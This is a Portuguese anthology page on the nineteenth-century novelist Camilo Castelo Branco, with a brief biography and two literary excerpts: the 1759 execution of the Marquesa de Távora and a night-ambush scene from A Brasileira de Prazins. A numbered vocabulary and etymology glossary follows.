CAMILO CASTELO-BRANCO – biografia e obras

 

CAMILO CASTELO-BRANCO, Visconde de Correia Botelho (Lisboa, 1826-1890) estreou-se aos vinte anos na imprensa periódica, escrevendo folhetins para o Nacional e o Eco Popular, e cruzou armas com os mais pujantes lutadores, entre os quais Alexandre Herculano, a propósito do Eu e o Clero deste escritor.

Compôs alguns dramas e volumes de poesias {Inspirações, Um livro); mas foi como romancista que atingiu máxima popularidade, sendo pasmoso o número das obras do fecundíssimo escritor, pois que passam de cento e vinte, entre originais e traduzidas.

Na História portuguesa e na Biografia e Crítica literárias, as descobertas do operoso escavador foram notáveis, e em mais de um ponto corrigiram Teófilo Braga e outros eruditos.

Em seus romances exibiu-se naturalista fidelíssimo, posto que não desasseado, exceto talvez nas últimas produções com que imitava por troça os processos do zolismo (Vulcões de Lama, Eusébio Macário, A Corja), A frase era castiça, de lei, e, na opinão do Sr. Paranapiacaba — "Um período de escrito seu semelha finíssima cabaia, que mãos de fada houvessem bordado a diamante e matizado de pérolas".

Suplício da Marquesa de Távora

A aurora de 13 de Janeiro de 1759 arvorejava uma luz azulada do eclipse daquele dia, por entre castelos pardacentos de nuvens esfumaradas que, a espaços, saraivavam bátegas (269) de aguaceiros glaciais. O cadafalso, construído durante a noite, estava úmido. As rodas e as aspas dos tormentos gotejavam sobre o pavimento de pinho. Às vezes rajadas de vento do mar zuniam por entre as cruzes das aspas e sacudiam ligeiramente os postes. Uns homens que bebiam aguardente e tiritavam, cobriam com encerado uma falua carregada de lenha e barricas de alcatrão, atracada ao cais defronte do tablado. Às 6 horas e 42 minutos, ainda mal se entrevia a faixa escura com umas cintilações de espadas nuas, que se avizinhava do cadafalso. Era um esquadrão de dragões. O patear cadente dos cavalos fazia um ruído cavo na terra empapada pela chuva. Atrás do esquadrão seguiam os ministros criminais, a cavalo, uns com as togas, outros de capa e volta, e o corregedor da corte com grande majestade pavorosa. Depois uma caixa negra que se movia vagarosamente entre dois padres. Era a cadeirinha da marquesa de Távora, D. Leonor. Alas de tropas ladeavam o préstito. À volta do tablado postaram-se os juízes do crime, aconchegando as capas das faces varejadas (270) pelas cordas da chuva. Do lado da barra reboava o mugido das vagas que rolavam e vinham chofrar espumas (271) no parapeito do cais. Havia uma escada que subia para o patíbulo. A marquesa apeou-se da cadeirinha, dispensando o amparo dos padres. Ajoelhou no primeiro degrau da escada, e confessou-se por espaço de cinqüenta minutos. Entretanto martelava-se no cadafalso. Aperfeiçoavam-se as aspas, cravavam-se pregos necessários à segurança dos postes, aparafu-savam-se as roscas das rodas. Recebida a absolvição, a padecente subiu, entre os dois padres, a escada, na sua natural atitude altiva, direita, com os olhos fitos no espetáculo dos tormentos. Trajava de cetim escuro, fitas nas madeixas grisalhas, diamantes nas orelhas e num laço dos cabelos, envolta em uma capa alvadia, roçagante. Assim tinha sido presa um mês antes. (272). Nunca lhe tinham consentido que mudasse camisa nem o lenço do pescoço. Receberam-a três algozes no topo da escada, e mandaram-a (273) fazer um giro no cadafalso para ser bem vista e reconhecida. Depois mostraram-lhe, um a um, os instrumentos das execuções, e explicaram-lhe por miúdo como haviam de morrer seu marido, seus filhos e o marido de sua filha. Mostraram-lhe o maço de ferro que devia matar-lhe o marido a pancadas na arca do peito. (274) as tesouras ou aspas em que se lhe haviam de quebrar os ossos das pernas e dos braços ao marido e aos filhos, e explicaram-lhe como era que as rodas operavam no garrote, cuja corda lhe mostravam e o modo como ela repuxava e estrangulava ao desandar do arrocho. A marquesa então sucumbiu, chorou muito ansiada, e pediu que a matassem depressa. O algoz tirou-lhe a capa, e mandou-a sentar num banco de pinho, no centro do cadafalso, sobre a capa, que dobrou devagar, horrendamente devagar. Ela sentou-se. Tinha as mãos amarradas, e não podia compor o vestido, que cairá mal. Ergueu-se, e com um movimento do pé consertou a orla da saia.

 

O algoz vendou-a; (275) e ao pôr-lhe a mão no lenço que lhe cobria o pescoço, não me descomponhas — disse ela, e inclinou a cabeça que lhe foi decepada pela nuca, de um só golpe.

(Perfil do Marquês de Pombal, pp. 15-16).

Noite Escura

Era uma noite de fevereiro, de névoa cerrada, (276) um céu de carvão pulverizado em brumas molhadas, sem clareira onde lucilasse (277) uma estrela. Não se agitava um galho de árvore nua movida pelo ar, nem ondulava uma erva. Era a serenidade negra e imota das catacumbas. Às vezes rugia nas folhas ensopadas de nebrina no chão esponjoso das carvalheiras, a fuga rápida das hardas, dos toirões e das raposas, que se avizinhavam do povoado, a fariscarem as capoeiras. (278). O Joaquim Melro estremecia e punha o dedo na gatilho. O restolhar (279) dum gato bravo, o pio da coruja no campanário distante punham arrepios de medo na espinha daquele homem que ia matar outro: chamá-lo à janela, e vará-lo à traição com uma bala — era o traçado.

— Que raio de escuro! — dizia, esbarrando nos espinheiros perfurantes.

Em noites assim, o universo seria o imenso vácuo precedente ao Fiat genesíaco, se os viandantes não esbarrassem com as árvores e não escorregassem nos silvedos das ribanceiras. O noctívago sente na sua individualidade, nos seus calos e no seu nariz, a doce impressão panteísta das árvores e dos calhaus. Que (280) este globo está muito bem feito. Os transgressores do descanso que Deus estatuiu nas horas tenebrosas, os celerados das aldeias, que larapeiam o presunto do vizinho, ou empunham 0 trabuco homicida, se não temem encontrar as patrulhas cívicas das grandes municipalidades, encontram os troncos hostilmente nodosos das árvores, que são as patrulhas de Deus. Alguns, porém, protegidos pelo Mefisto, a quem venderam a alma pelo preço da consciência eleitoral, ou mais barata, chegam incólumes ao delito, passando, ilesos como o lobo e o javali, por entre os troncos das carvalheiras esmoitadas, (281) hirtas, com os galhos a esbracejarem retorcidos numa agonia patibular.

(A Brasileira de Prazins; edição do Porto, 1882, pp. 313-314).

Vocabulário de Português

(269) bátega — bacia, vasilha antiga de metal; talvez do nome bâtica, usado na índia para designar bacia (Viterbo). Cfr.; chover a cântaros, cair a chuva em bátegas.
(270) varejadas ~ atacadas, flageladas, açoitadas.

(271) chofrar espumas = atirá-las de chofre.
(272) mês com — s — de mense; como cortês, de curtense; marquês, de markense; pavês, de pavense; pedrês, de petrense; atrás, de ad trans; envés, de inverse; nós, de nos; vós de vos; pus, de posui (verbo) e de pus (nome); gás, de gas (raiz de geest); quis, de quaesi(v)i; três, de tres; ao passo que vez, com — z — de vice; fêz (verbo), de fecit; dez, de decem; treze, de íreáecim; audaz, de audace; veloz, de veloce; juiz, de judice; paz, de pace; noz, de nuce; raiz, de radice; voz, de voce; feliz, de felice; foz, de fauce; cruz, de cruce (ce > Z).
(273) receberam-na. .. e mandaram-na — mais eufônico e melhor. Cfr. "Traziam-na os horríficos algozes". (Lus., III, 124); "Ficaram-no envolvendo apenas os restos da farda…" (Rui, Cartas de Ingl., 2.a ed., p. 134). O segundo na (a, no texto) é sujeito da oração infinitiva imediata.
(274) arca do peito =
caixa torácica; arca por arca = peito a peito, corpo a corpo.
(275) vendar — tapar os olhos com venda, do alt.-alem, binda, faixa, banda.
(276) névoa e névoa, frágoa e fragoa, mágoa c magoa, nódoa e nódoa, com — o. Cfr. água, tábua, anágua, ânua, gázua (expedição), légua, trégua, com — u.
(277) lucilar zz brilhar escassamente. Corradicais: luzir, luciluzir, luzeluzir, treme-luzir, transluzir, reluzir, luciolar, lucidar, elucidar.
(278) Capoeira aí é galinheiro, o lugar onde estão os capões e as outras aves; como pode ser o continente, o receptáculo, onde se guardam, ao transportarem-se. Capoeira (do tupi caâ, mata, floresta -f- poêra, alter, de oêra, coêra, goêra, que foi, que passou) é também o mato renovado em terreno anteriormente florestal, vegetação baixa e variada, "inútil e triste ruína da floresta virgem abatida".
(279) O restolhar = o ruído das patas sobre o palhiço.
(280) que, conjunção causal.
(281) — esmoitadas, do verbo esmoitar, forma paralela de desmoitar. Confronte esmaiar, estruir, espertar, esperdiçar, esfazer-se, esmo-ronar, esvanecer, espír (are), espedaçar, esvairar, esmaecer, estroncar, esgue-delhar, com os verbos de igual significação, iniciados, porém, não por — es —, mas por — des.


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

Principais Obras

 

Fonte da lista: Wikipedia.

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